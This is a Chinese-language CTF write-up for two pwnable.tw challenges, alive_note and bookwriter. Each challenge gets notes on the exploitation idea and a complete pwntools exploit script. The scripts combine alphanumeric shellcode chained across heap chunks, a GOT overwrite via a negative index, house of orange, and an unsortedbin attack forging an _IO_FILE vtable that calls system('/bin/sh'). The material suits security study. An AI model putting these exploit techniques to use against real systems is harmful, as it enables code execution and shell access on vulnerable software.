2020年11月

漏洞利用

程序Heap内存区域有执行权限,并且Add功能存在下标溢出。当使用负数下标时可以覆盖got表项指针指向堆内存,从而执行自定义shellcode。但是堆块输入限制非常大,只有8个字节,而且要求全为大小写字母或数字。也就是说需要用多个堆块借助拼接构造shellcode。

为了简化利用,先构造调用SYS_read的shellcoed,然后借助它往堆上读执行execve("/bin/sh", NULL, NULL)的系统调用来getshell。

主要难点

  1. 构造为全为大小写字母或数字的shellcode,这个思路网上很多,主要都是利用push, pop, xor, dec, jne之类的指令进行构造(注意xor的时候一般使用al寄存器)

  2. 使用jne指令连接多个块,jne的操作数是相对值,即目标指令相对于下一条指令的偏移,所以要考虑好两段shellcode中间间隔堆块的数量以便操作数在合法范围内。

  3. 通过减法+异或构造出int 0x80指令(技巧性很强)。

EXP

from pwn import *

#p = process("./alive_note")
p = remote("chall.pwnable.tw", 10300)
elf = ELF("./alive_note")
context.log_level = "debug"
context.arch = "i386"

free_offset = -27

#free reg info
'''
 EAX  0x804b018 ◂— 'bbbb' (free arg)
 EBX  0x0
 ECX  0x0
 EDX  0x0
 EDI  0xf7fa8000 (_GLOBAL_OFFSET_TABLE_) ◂— mov    al, 0x2d /* 0x1b2db0 */
 ESI  0xf7fa8000 (_GLOBAL_OFFSET_TABLE_) ◂— mov    al, 0x2d /* 0x1b2db0 */
 EBP  0xffffcee8 —▸ 0xffffcef8 ◂— 0x0
 ESP  0xffffcebc —▸ 0x80488ef (del_note+81) ◂— add    esp, 0x10
 EIP  0x804b008 ◂— 'aaaa' (code)
'''

def get_alpha_shellcode(raw):
    with open("./alpha3/raw.in", "wb") as r:
        r.write(asm(raw))
    os.system('cd alpha3;python ALPHA3.py x86 ascii rax --input="raw.in" > alpha.out')
    res = b""
    with open("./alpha3/alpha.out", "rb") as a:
        res = a.read()
    return res

def add(idx:int, name):
    p.recvuntil(b"Your choice :")
    p.sendline(b"1")
    p.recvuntil(b"Index :")
    p.sendline(str(idx).encode())
    p.recvuntil(b"Name :")
    p.sendline(name)

def show(idx:int):
    p.recvuntil(b"Your choice :")
    p.sendline(b"2")
    p.recvuntil(b"Index :")
    p.sendline(str(idx).encode())

def delete(idx:int):
    p.recvuntil(b"Your choice :")
    p.sendline(b"3")
    p.recvuntil(b"Index :")
    p.sendline(str(idx).encode())

def chunk_pad(num):
    for i in range(num):
        add(10, b"aaaaaaa")

def exp():
    #build shellcode
    ## call SYS_read to read execve shellcode

    ### PYjzZu9
    part1 = '''
    push eax
    pop ecx
    push 0x7a
    pop edx
    '''
    part1 = asm(part1) + b"\x75\x39"
    add(-27, part1)
    chunk_pad(3)

    ### SXH0AAu8
    part2 = '''
    push ebx
    pop eax
    dec eax
    xor BYTE PTR [ecx+0x41], al
    '''
    part2 = asm(part2) + b"\x75\x38"
    add(0, part2)
    chunk_pad(3)

    ### 490ABSu8
    part3 = '''
    xor al, 0x39
    xor BYTE PTR [ecx+0x42], al
    push ebx
    '''
    part3 = asm(part3) + b"\x75\x38"
    add(0, part3)
    chunk_pad(3)

    ### Xj3X40u9
    part4 = '''
    pop eax
    push 0x33
    pop eax
    xor al, 0x30
    '''
    part4 = asm(part4) + b"\x75\x39"
    add(1, part4)
    chunk_pad(3)

    ### 02F
    part5 = b"\x30\x32\x46"
    add(2, part5)

    #gdb.attach(p, "b *0x804b008\nb *0x804b10b\nc\n")
    delete(1)

    ## write shellcode to run next
    shellcode = asm(shellcraft.sh())
    payload = b"a"*0x43 + shellcode
    p.sendline(payload)

    # getshell
    p.interactive()

if __name__ == "__main__":
    exp()

思路:

  1. Autor未设置截断导致heap泄露,strlen重设长度时包含下一个chunk的size导致溢出;
  2. 进行house of orange释放原先的topchunk进入unsortedbin(进入过程可以借助scanf中malloc分配缓冲区来完成),以此可以泄露libc;
  3. (关键)unsortedbin attack攻击IO_list_all,使其的指针指向main_arena+0x58,然后以此为IO_FILE结构体,再通过struct _IO_FILE *_chain域指向堆上的unsortedbin位置;
  4. 只要提前在unsortedbin位置伪造好IO_FILE结构体和vtable就可以借助_IO_flush_all_lockp(在触发malloc_printerr时会被调用)调用system("/bin/sh\x00")来getshell.

分析历程

这里有个很操蛋的地方卡了很久...开始一直弄不明白unsortedbin attack修改掉IO_list_all之后如何构造struct _IO_FILE *_chain指向堆上我们伪造的结构。分析发现如果把main_arena+0x58看作结构体,则对应smallbin[4](0x60)的索引位置,也就是只要有一个0x60的smallbin被free就可以构成链表。

但是想了很久还是不明白如何让unsortedbin进入这个位置...又翻了好久的源代码发现在尝试对unsortedbin进行分割前,其中一个判断条件要满足的是:bck == unsorted_chunks (av),而bck = victim->bk 。换句话说,只要unsorted chunk中的bk指针被修改掉之后,一定不会满足这个判断,也就一定不会进入分割unsorted chunk的过程。如果我们提前借助堆溢出修改unsorted chunk大小为0x61,则在下次分配一个0x10的堆块时就会进入下面把unsorted chunk置入smallbin的分支过程,这一举动刚好使得smallbin[4](0x60)的索引位置出现了原先unsorted chunk的指针。加上一定的构造之后(相关限制条件可以看ctfwiki)就可以通过触发报错拿shell了。

总结一下就是:在bk指针被破坏之后,原本可能发生的unsorted chunk分割条件无法满足,而是直接把整个unsorted chunk置入smallbin对应位置(注意不是fastbin,不能只看大小,要看程序流)。这些细节勿略掉可能会在很浅显的地方翻车。

EXP:

from pwn import *

#p = process("./bookwriter", env = {"LD_PRELOAD":"./libc.so.6"})
p = remote("chall.pwnable.tw", 10304)
elf = ELF("./bookwriter")
libc = ELF("./libc_64.so.6")
context.log_level = "debug"

def send_choice(idx:int):
    p.recvuntil(b"Your choice :")
    p.sendline(str(idx).encode())

def add(size, content):
    send_choice(1)
    p.recvuntil(b"Size of page :")
    p.sendline(str(size).encode())
    p.recvuntil(b"Content :")
    p.send(content)

def view(idx:int):
    send_choice(2)
    p.recvuntil(b"Index of page :")
    p.sendline(str(idx).encode())

def edit(idx:int, content):
    send_choice(3)
    p.recvuntil(b"Index of page :")
    p.sendline(str(idx).encode())
    p.recvuntil(b"Content:")
    p.send(content)

def info(new_author=None):
    send_choice(4)
    p.recvuntil(b"(yes:1 / no:0)")
    if new_author != None:
        p.sendline(b"1")
        p.recvuntil(b"Author :")
        p.send(new_author)
    else:
        p.sendline(b"0")

def go_exit():
    send_choice(5)

def exp():
    # const
    bss_author = 0x602060
    bss_catalog = 0x6020a0
    bss_sizelist = 0x6020e0

    # set author
    author = b"a"*(0x40-0x2) + b"||"
    p.recvuntil(b"Author :")
    p.send(author)

    # leak libc && heap
    add(0x18, b"aaa") #0

    ## leak libc
    edit(0, b"a"*0x18)
    edit(0, b"a"*0x18+b"\xe1\x0f\x00") #modify size of top_chunk
    info() # call printf to malloc(0x1000) && get unsortedbin
    add(0x78, b"aaaaaaaa") #1
    view(1) #leak address preserved

    p.recvuntil(b"Content :\naaaaaaaa")
    libc_leak = u64(p.recvuntil(b"\n", drop=True).ljust(8, b"\x00"))
    libc_base = libc_leak - 0x3c4188
    system = libc_base + libc.symbols[b"system"]
    stdout = libc_base + 0x3c5620
    io_list_all = libc_base + libc.symbols[b"_IO_list_all"]
    print("libc_leak:", hex(libc_leak))
    print("libc_base:", hex(libc_base))
    print("stdout:", hex(stdout))
    print("io_list_all:", hex(io_list_all))

    ## leak heap
    send_choice(4) #info
    p.recvuntil(b"||")
    heap_leak = u64(p.recvuntil(b"\n", drop=True).ljust(8, b"\x00"))
    heap_base = heap_leak - 0x10
    print("heap_leak:", hex(heap_leak))
    print("heap_base:", hex(heap_base))
    p.sendafter(b"(yes:1 / no:0)", b"0\n")

    chunk1_addr = heap_base + 0x20 
    print("chunk1_addr:", hex(chunk1_addr))

    edit(0, b"\n") #set size[0]=0
    for i in range(7):
        add(0x58, b"bbbb")

    ## unsortedbin attack
    pad = b"a"*0x330
    ## build fake _IO_FILE and vtable
    data = b'/bin/sh\x00'
    data += p64(0x61)
    data += p64(0xdeadbeef)
    data += p64(libc_base + libc.symbols[b'_IO_list_all'] - 0x10)
    data += p64(2)
    data += p64(3)
    data = data.ljust(0xc0, b'\x00')
    data + p64(0xffffffffffffffff)
    data = data.ljust(0xe0-8, b'\x00')
    vtable = p64(0) * 3 + p64(libc_base + libc.symbols[b'system'])
    vtable_addr = heap_base + 0x420
    data += p64(vtable_addr)
    data += vtable
    edit(0, pad+data)
    edit(0, b"\n") #set size[0]=0

    send_choice(1)
    p.recvuntil(b"Size of page :")
    p.sendline(b"16")

    #gdb.attach(p)

    p.interactive()

if __name__ == "__main__":
    exp()